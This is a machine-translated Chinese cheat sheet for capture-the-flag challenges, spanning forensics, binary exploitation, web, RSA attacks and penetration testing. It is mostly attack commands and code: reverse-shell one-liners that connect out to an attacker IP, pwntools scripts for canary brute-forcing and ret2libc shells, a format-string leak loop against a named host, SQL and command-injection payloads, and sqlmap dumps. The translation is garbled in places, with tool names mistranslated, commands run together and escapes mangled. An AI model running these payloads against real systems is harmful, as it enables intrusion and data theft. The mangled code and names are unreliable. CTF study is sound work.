CTFs
1.0.0
我完成的一些网络 CTF 的文章/文件
我还提供了CTF 资源列表以及涵盖大量常见 CTF 挑战的综合备忘单
笔记
现在该存储库的网络镜像位于 hackback.zip
资源
CTF 备忘单
网络厨师
常用密码
RSA
基数 16、32、36、58、64、85、91、92
以下是我整理的一些幻灯片：hackback.zip/presentations
20{19,20,21,22,23,24}.cr.yp.toc.tf 。file <file.xyz>steghide extract -sf <file.xyz>stegseek <file> <password list>binwalk -M --dd=".*" <file.xyz>exiftool <file.xyz>strings <file.xyz>hexedit <file.xyz>ghex <file.xyz>unzip <file.docx>grep -r --text 'picoCTF{.*}'egrep -r --text 'picoCTF{.*?}ltrace ./<file>ltrace -s 100 ./<file>传真机音频：
SSTV（慢扫描电视）音频（月球的东西）
频谱图图像
改变音调、速度、方向……
DTMF（双音多频）电话键
multimon-ng -a DTMF -t wav <file.wav>磁带
摩尔斯电码
斯蒂格求解
最重要的
德皮克斯
检查是否有某些内容经过 Photoshop 处理（查看亮点）
兹泰格
杰斯特格
像素恢复
crc32修复
聚合酶链式反应
png-crc-修复
PNG检查
photorec <file.bin>.img文件：binwalk -M --dd=".*" <fileName>file并选择 Linux 文件系统文件losetup /dev/loop<freeLoopNumber> <fileSystemFile>tcpflow -r <file.pcap>checksec <binary>rabin2 -I <binary>binary-security-check <bin>.exeseccomp-tools dump ./<binary>readelf -s <binary>rabin2 -z <binary>python -c "import pwn; print(pwn.p32(<intAddr>))python -c "import pwn; print(pwn.p64(<intAddr>))( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>process.interactive()来做到这一点pwn cyclic <numChars>生成有效负载dmesg | tail | grep segfault查看错误所在pwn cyclic -l 0x<errorLocation>查看控制指令指针的随机偏移量ROPgadget --ropchain --binary <binary>在调试器中查找堆栈金丝雀
gs或fs （分别针对 32 位和 64 位） 0x000000000000121a <+4>: sub rsp,0x30
0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax
0x000000000000122b <+21>:xor eax,eax
rax偏移量 +8 处。ir rax ) 中的内容以查看当前的金丝雀是什么静态金丝雀
额外的
当堆栈金丝雀被不正确地覆盖时，将导致对__stack_chk_fail的调用
金丝雀存储在当前堆栈的TLS结构中，并由security_init初始化
暴力破解静态 4 字节金丝雀的简单脚本：
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF ( './vuln' )
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range ( 1 , 5 ):
for letter in range ( 0 , len ( alphabet )): # We will go through each letter/number in the string 'alphabet'
p = elf . process () # We start the process
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( str ( 32 + i )) # In this program, we had to specify how many bytes we were gonna send.
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( 'A' * 32 + canary + alphabet [ letter ]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p . recv (). decode ( 'utf-8' )
if "Stack" not in prompt : # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet [ letter ] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print ( "The canary is: " + canary )%1$s - 这会将堆栈中的第一个值（据我所知，缓冲区旁边的值）打印为字符串。%2$s - 这会将第二个值打印为字符串，您明白了for i in {1..100}; do echo "%$i$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done%hhx泄漏 1 个字节（int 大小的一半）%hx泄漏 2 个字节（int 大小的一半）%x泄漏 4 个字节（int 大小）%lx泄漏 8 个字节（长尺寸）我们将覆盖 EIP 来调用 system() 库函数，我们还将传递它应该执行的内容，在本例中是一个带有“/bin/sh”的缓冲区
很好的解释：
很好的例子（转到 3:22:44）：
获取 execve("/bin/sh") 的地址
one_gadget <libc file>如果您已经知道 libc 文件和位置（即不必泄漏它们......）
#!/bin/python3
from pwn import *
import os
binaryName = 'ret2libc1'
# get the address of libc file with ldd
libc_loc = os . popen ( f'ldd { binaryName } ' ). read (). split ( ' n ' )[ 1 ]. strip (). split ()[ 2 ]
# use one_gadget to see where execve is in that libc file
one_gadget_libc_execve_out = [ int ( i . split ()[ 0 ], 16 ) for i in os . popen ( f'one_gadget { libc_loc } ' ). read (). split ( " n " ) if "execve" in i ]
# pick one of the suitable addresses
libc_execve_address = one_gadget_libc_execve_out [ 1 ]
p = process ( f'./ { binaryName } ' )
e = ELF ( f'./ { binaryName } ' )
l = ELF ( libc_loc )
# get the address of printf from the binary output
printf_loc = int ( p . recvuntil ( ' n ' ). rstrip (), 16 )
# get the address of printf from libc
printf_libc = l . sym [ 'printf' ]
# calculate the base address of libc
libc_base_address = printf_loc - printf_libc
# generate payload
# 0x17 is from gdb analysis of offset from input to return address
offset = 0x17
payload = b"A" * offset
payload += p64 ( libc_base_address + libc_execve_address )
# send the payload
p . sendline ( payload )
# enter in interactive so we can use the shell created from our execve payload
p . interactive ()酷指南：https://opensource.com/article/20/4/linux-binary-analysis
apktool d *.apkstrings 。使用静态分析来查找和计算字符串https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context . log_level = 'error'
s = ''
print ( "*" * keyLen )
for chars in range ( keyLen ):
a = []
for i in string . printable :
p = process ( f'perf stat -x, -e cpu-clock ./ { binaryName } ' . split ())
p . readline ()
currPass = s + i + '0' * ( keyLen - chars - 1 )
# print(currPass)
p . sendline ( currPass . encode ())
p . readline ()
p . readline ()
p . readline ()
info = p . readall (). split ( b',' )[ 0 ]
p . close ()
try :
a . append (( float ( info ), i ))
except :
pass
# print(float(info), i)
a . sort ( key = lambda x : x [ 0 ])
s += str ( a [ - 1 ][ 1 ])
print ( s + "*" * ( keyLen - len ( s )))
# print(sorted(a, key = lambda x: x[0]))
p = process ( f'./ { binaryName } ' )
p . sendline ( s . encode ())
p . interactive ()grep <string> ，gef 将自动显示与您的搜索模式匹配的字符串wpscan --url <site> --plugins-detection mixed -e与 api 密钥以获得最佳结果echo <token> > jwt.txtjohn jwt.txtsqlmap --forms --dump-all -u <url>'OR 1=1--SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''1=1计算结果为 true，满足OR语句，查询的其余部分由--注释掉__import__.('subprocess').getoutput('<command>')__import__.('subprocess').getoutput('ls').split('\n')ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all-fs过滤大小密码检测器
#### Solver using custom table
cipherText = ""
plainText = ""
flagCipherText = ""
tableFile = ""
with open ( cipherText ) as fin :
cipher = fin . readline (). rstrip ()
with open ( plainText ) as fin :
plain = fin . readline (). rstrip ()
with open ( flagCipherText ) as fin :
flag = fin . readline (). rstrip ()
with open ( tableFile ) as fin :
table = [ i . rstrip (). split () for i in fin . readlines ()]
table [ 0 ]. insert ( 0 , "" ) # might have to modify this part.
# just a 2d array with the lookup table
# should still work if the table is slightly off, but the key will be wrong
key = ""
for i , c in enumerate ( plain [ 0 : 100 ]):
col = table [ 0 ]. index ( c )
for row in range ( len ( table )):
if table [ row ][ col ] == cipher [ i ]:
key += table [ row ][ 0 ]
break
print ( key )
dec_flag = ""
for i , c in enumerate ( flag [: - 1 ]):
col = table [ 0 ]. index ( key [ i ])
for row in range ( len ( table )):
if table [ row ][ col ] == flag [ i ]:
dec_flag += table [ row ][ 0 ]
break
print ( dec_flag ) from Crypto . PublicKey import RSA
keyName = "example.pem"
with open ( keyName , 'r' ) as f :
key = RSA . import_key ( f . read ())
print ( key )
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print ( key . p )
print ( key . q )
print ( key . n )
print ( key . e )
print ( key . d )
print ( key . u )
# public keys have n and e 当您可以因式分解数字n时使用此选项
老的
def egcd ( a , b ):
if a == 0 :
return ( b , 0 , 1 )
g , y , x = egcd ( b % a , a )
return ( g , x - ( b // a ) * y , y )
def modinv ( a , m ):
g , x , y = egcd ( a , m )
if g != 1 :
raise Exception ( 'No modular inverse' )
return x % m
p =
q =
e =
c =
n = p * q # use factordb command or website to find factors
phi = ( p - 1 ) * ( q - 1 ) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv ( e , phi ) # private key
# print(d)
m = pow ( c , d , n ) # decrypted plaintext message in long integer form
thing = hex ( m )[ 2 :] # ascii without extra stuff at the start (0x)
print ( bytes . fromhex ( thing ). decode ( 'ascii' )) #!/bin/python3
from Crypto . Util . number import *
from factordb . factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB ( n )
f . connect ()
factors = f . get_factor_list ()
phi = 1
for i in factors :
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag ) from Crypto . Util . number import *
def nth_root ( radicand , index ):
lo = 1
hi = radicand
while hi - lo > 1 :
mid = ( lo + hi ) // 2
if mid ** index > radicand :
hi = mid
else :
lo = mid
if lo ** index == radicand :
return lo
elif hi ** index == radicand :
return hi
else :
return - 1
c =
e =
plaintext = long_to_bytes ( nth_root ( c , e ))
print ( plaintext . decode ( "UTF-8" ))p-1 | B!就是这种情况p-1 | B!并且q - 1因子 > B from Crypto . Util . number import *
from math import gcd
n =
c =
e =
def pollard ( n ):
a = 2
b = 2
while True :
a = pow ( a , b , n )
d = gcd ( a - 1 , n )
if 1 < d < n :
return d
b += 1
p = pollard ( n )
q = n // p
phi = 1
for i in [ p , q ]:
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag ) from Crypto . Util . number import *
import owiener
n =
e =
c =
d = owiener . attack ( e , n )
m = pow ( c , d , n )
flag = long_to_bytes ( m )
print ( flag )https://github.com/mufeedvh/basecrack
ssh <username>@<ip>ssh <username>@<ip> -i <private key file>sshfs -p <port> <user>@<ip>: <mount_directory>ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>nc <ip> <port>机器发现
netdiscover机器端口扫描
nmap -sC -sV <ip>Linux枚举
enum4linux <ip>中小企业枚举
smbmap -H <ip>连接到 SMB 共享
smbclient //<ip>/<share>./linpeas.shsudo -lfind / -perm -u=s -type f 2>/dev/nullaccesschk.exe -uwcqv *sc qc <service name>nc -lnvp <port>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'nc -e /bin/sh <ip> <port>bash -i >& /dev/tcp/<ip>/<port> 0>&1python -c 'import pty;pty.spawn("/bin/bash");'CTRL+Z退出 netcat 会话并在本地运行stty raw -echofg重新输入会话（如果需要，可在后面输入作业 ID）export TERM=xterm将终端模拟器更改为 xterm（这可能不是必需的）export SHELL=bash将 shell 更改为 bash （这可能不是必需的）rlwraprlwrap放在前面rlwrap nc -lvnp 1337解决 DNS 错误
dig <site> <recordType>作为不同的架构运行二进制文件
linux64 ./<binary>linux32 ./<binary>提取 MS 宏：
查看 CNC G 代码
